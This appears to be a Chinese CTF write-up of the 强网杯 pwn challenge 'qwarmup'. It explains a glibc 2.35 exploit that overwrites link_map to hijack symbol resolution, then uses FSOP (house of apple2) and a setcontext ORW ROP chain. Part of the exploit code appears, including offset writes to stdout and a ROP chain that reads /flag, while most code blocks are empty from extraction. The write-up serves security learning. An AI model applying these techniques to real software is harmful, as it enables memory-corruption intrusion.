强网杯qwarmup
qwarmup
知识点
malloc
malloc 内存分配位置及进程内存布局:https://blog.csdn.net/zhouguoqionghai/article/details/112771864
简而言之:当malloc申请一个大内存时,系统通过mmap进行内存分配,此时的堆块,可以申请到libc.so.6附近
本题中,malloc(0xf0000)
1 |
|
根据heap_base
,计算偏移
1 |
|
ret2dl_reslove
学习:https://syst3mfailure.io/ret2dl_resolve/
https://www.anquanke.com/post/id/184099#h2-4
_dl_runtime_reslove分析以及ret2dlreslove
了解在延迟加载期间查找函数时使用的不同结构。
跟了下这几篇博客, 然后自己调了调
_rtld_global
指向link_map
ptype struct link_map
:查看link_map定义p &((struct link_map*)0)->l_info
:查看l_info成员偏移p &((struct link_map*)0)->l_info
:pwndbg> p _rtld_global
–>_ns_loaded = 0x7f814c8852e0
得到link_map地址pwndbg> p *(struct link_map*) 0x7f814c8852e0
查看link_map结构体内指向地址
One byte to ROP
了解下原理和思路
https://hackmd.io/@pepsipu/ry-SK44pt(原作者链接,前两天看链接挂了,后面又好了)
https://github.com/LMS57/Nightmare-Writeup(另一个作者,另一个思路)
qwarmup思路:
利用
_dl_fixup_
函数,通过修改link_map->l_addr
,使回填的函数填到write@got
某个偏移的地方–由于没有正确返回got,所以每次都会查找上述文章将偏移修改到
_Exit@got
,此题可以利用libc地址前面8位的高位为0的特点,覆盖在bss段的size,让程序进入死循环。_dl_lookup_symbol_x
函数的第一个参数就是待查找函数的函数名,而sym->st_name
对于同一个函数而言是一个固定值(write = 34),而strtab
则是来源于于libc上的全局结构体link_map
可以劫持
link_map->l_info[DT_STRTAB]
,使其指向可控内存段,达到任意函数调用。DT_STRTAB
在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG
这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]
指向libc地址,然后我们在DT_DEBUG+34
的地方写入需要调用的函数。
IO流
仅作记录
在调试过程中,发现之前不懂的一点: 在伪造/修改IO结构体后,触发_IO_flush_all_lookup
时,设置不同IO_vtable,最后寄存器都是如何设置的
IO链+ROP链图解
思路部分会讲解该图的实现
pwndbg命令
1 |
|
调试流程
1 |
|
house of apple2的链子1–条件
- flags: ~(2 | 0x8 | 0x800)
- rdi+8: heap_base+0x10
- vtable: _IO_wfile_jumps
_IO_write_ptr>_IO_write_base
- _wide_data不变,即为
_IO_wide_data_1
- _wide_data->_IO_write_base: 0
- _wide_data->_IO_buf_base: 0
- _wide_data->_wide_vtable: heap_base+0x30
- _wide_data->_wide_vtable->doallocate : heap_base+0x30+0x68 : Magic
1 |
|
_IO_2_1_stdout结构体内容 && 源码
1 |
|
修改后的IO内容
1 |
|
syscall; ret
开始想调用open函数进行orw的,但是后面发现不行,就改成syscall
在 vsyscall 中的固定地址处找到 syscall&return 代码片段
但是目前它已经被 vsyscall-emulate
和 vdso
机制代替了。此外,目前大多数系统都会开启 ASLR 保护,所以相对来说这些 gadgets 都并不容易找到。
在libc中人工查找,在_lll_lock_wake_privat
函数找到了对应的gadget
(有篇文章说get_uid
函数,里面存在syscall; ret,但是此处没有该函数)
分析
复现:https://4f-kira.github.io/2022/08/07/qwb2022/#qwarnup
https://kagehutatsu.com/?p=723
保护&&沙箱
1 |
|
main
1 |
|
思路
跟wp思路,本机编译的libc2.35,改绑之后的偏移和wp对不上,根据自己的搓本地
代码审计完:①一个大地址的malloc
②依托size判断–循环:一字节越界写
③没有输出函数
malloc一块大内存,通过mmap进行内存分配,从而实现堆块和libc动态库的重叠,通过一字节的越界写,修改
size<0x10000
,控制循环一直进行解析:
payload = write(link_map_offset, p8(size_offset-4 - elf.got["write"]))
在ret2dl_reslove中:伪造
link_map->l_addr
为 想要执行的目标函数 与libc中已解析函数与的偏移值 (前者-后者)通过控制偏移到link_map,修改
link_map-->l_addr
为size_offset-4 - elf.got["write"])
,实现覆写size_offset-4
为elf.got["write"]四字节
此后,在每次循环中,都可以对任意libc地址写一字节
ret2dl_reslove:通过
link_map-->l_addr
_dl_fixup_
查找完函数地址后,会将函数地址回填到got表,那么可以通过修改link_map->l_addr
,使回填的函数填到write@got
某个偏移的地方,但是不在got上,所以此后每次执行write,都会进行symbol查找
篡改
_IO_stdout_2_1
解析:
write(0x30e770, p32(0xfbad1800))
write(0x30e770+0x28, b'\xff')
计算偏移,覆写
flags
以及_IO_write_ptr
调用
_IO_flush_all
刷新IO流,泄露libc_dl_lookup_symbol_x
函数的第一个参数就是待查找函数的函数名,而sym->st_name
对于同一个函数而言是一个固定值(write = 34),而strtab
则是来源于于libc上的全局结构体link_map
,那么可以劫持link_map->l_info[DT_STRTAB]
,使其指向可控内存段,达到任意函数调用。DT_STRTAB
在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG
这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]
指向libc地址,然后我们在DT_DEBUG+34
的地方写入需要调用的函数。
解析:
payload = write(0x360118-0x10+34, b"_IO_flush_all")
将
DT_DEBUG+34
写入_IO_flush_all
(p &((struct link_map*)0)->l_info[24]
, offset = 0x100)
payload = write(link_map_offset+0x40+5*0x8, b'\xb8', False)
将
DT_STRTAB
指向DT_DEBUG: _IO_flush_all
FSOP:控制IO结构体,目的是跳转到heap
通过libc任意写,修改
_IO_2_1_stdout
,通过触发_IO_flush_all
刷新IO流,执行修改后的IOflags: ~(2 | 0x8 | 0x800)
_IO_read_ptr: heap_base+0x10
vtable: _IO_wfile_jumps
_IO_write_ptr>_IO_write_base
- _wide_data不变,即为
_IO_wide_data_1
_wide_data->_IO_write_base: 0
_wide_data->_IO_buf_base: 0
_wide_data->_wide_vtable: heap_base+0x30
_wide_data->_wide_vtable->doallocate : heap_base+0x30+0x68 : Magic
布置ROP链–magic_gadge + setcontext + orw ,getshell
Magic: mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
setcontext+61
ORW
对于上面FSOP的布置,进一步的进行解释:
修改了IO结构体,其中的
_wide_data->vtable
指向了可控堆块A,_wide_data->vtable->doallocate
指向A+0x68位置_wide_data->vtable->doallocate
是rip地址,设置为Magic
此时发现rdi寄存器,存放的是
_IO_2_1_stdout
地址,则步置rdi+8
处内容为heap_base+0x10
,使得rdx
为heap_base+0x10
布置
[rdx+0x20]
为setcontext+61
,之后按照house of apple2的链子开始执行
流程图
exp
1 |
|
废弃链子
前置条件:rdx不为0,看一个师傅的链子是可以的,但是本地调试的时候,调进IO函数前,rdx刚好为0,所以换条链子
画了个流程图,还是存一下
FSOP:控制IO结构体,目的是跳转到heap
为了方便修改flags,利用
house of apple2
的链子3:控制_IO_wdefault_xsgetn函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34'''_flags: 0x800
vtable: _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
_mode: 大于0,即满足*(fp + 0xc0) > 0
_wide_data: 可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C
'''
#定位_IO_2_1_stdout_: pwndbg> p stdout && pwndbg> ptype stdout
#flags pwndbg> p &stdout->_flags
write(0x2E7770 , p64(0x800))
#_mode pwndbg> p &stdout->_mode
write(0x2E7770+192 , p8(0xff))
#vtable pwndbg> p &stdout->_unused2 + 20
write(0x2E7770+216 , p64(_IO_wstrn_jumps+0x28)) #_IO_wdefault_xsgetn - _IO_wstrn_overflow
#_IO_save_base: rdi
write(0x2E7770+72, p64(heap_base))
#_wide_data pwndbg> p &stdout->_wide_data
#write(0x2E7770+160, p64(heap_base))
#查看_IO_2_1_stdout结构体 p *(struct _IO_FILE_plus *) stdout
#查看_wide_data结构体 p *(struct _IO_wide_data *) stdout
#_wide_data->_IO_read_end p &stdout->_wide_data->_IO_read_end
write(0x2E6998, p8(0))
#_wide_data->_IO_write_ptr >
write(0x2E6998+24, p8(0xff))
#_wide_data->_wide_vtable->overflow
write(0x2E6998+216, p64(heap_base+0x10))布置ROP链–setcontext + magic_gadget + orw ,getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27flag_addr = heap_base + 0x20
orw_addr = heap_base + 0xC0
pause()
rop = flat({
0x00: [b'/flag\x00\x00\x00', Magic],
0x10: [setcontext_61, heap_base+0x10],
0x20: [0, 0],
0x30: [0, 0],
0x40: [0, 0], # '/flag'
0x50: [0, 0],
0x60: [0, orw_addr],
0x70: [0, 0],
0x80: [0, 0], # open('/flag',0,0)
0x90: [orw_addr, ret],
0xa0: [pop_rdi, flag_addr], # open('/flag\0\0\0', 0)
0xb0: [pop_rsi, 0],
0xc0: [open_addr, pop_rdi], # read(3,&buf,0xff)
0xd0: [3, pop_rsi],
0xe0: [flag_addr+0x300, pop_rdx_r12],
0xf0: [0xff, 0], # write(1,&buf,0x40)
0x100:[read_addr, pop_rdi],
0x110:[1, pop_rsi],
0x120:[flag_addr+0x300, pop_rdx_r12],
0x130:[0xff, 0],
0x140:[write_addr, 0],
})
write(0,rop)触发_IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False)
调试流程
1 |
|
exp
1 |
|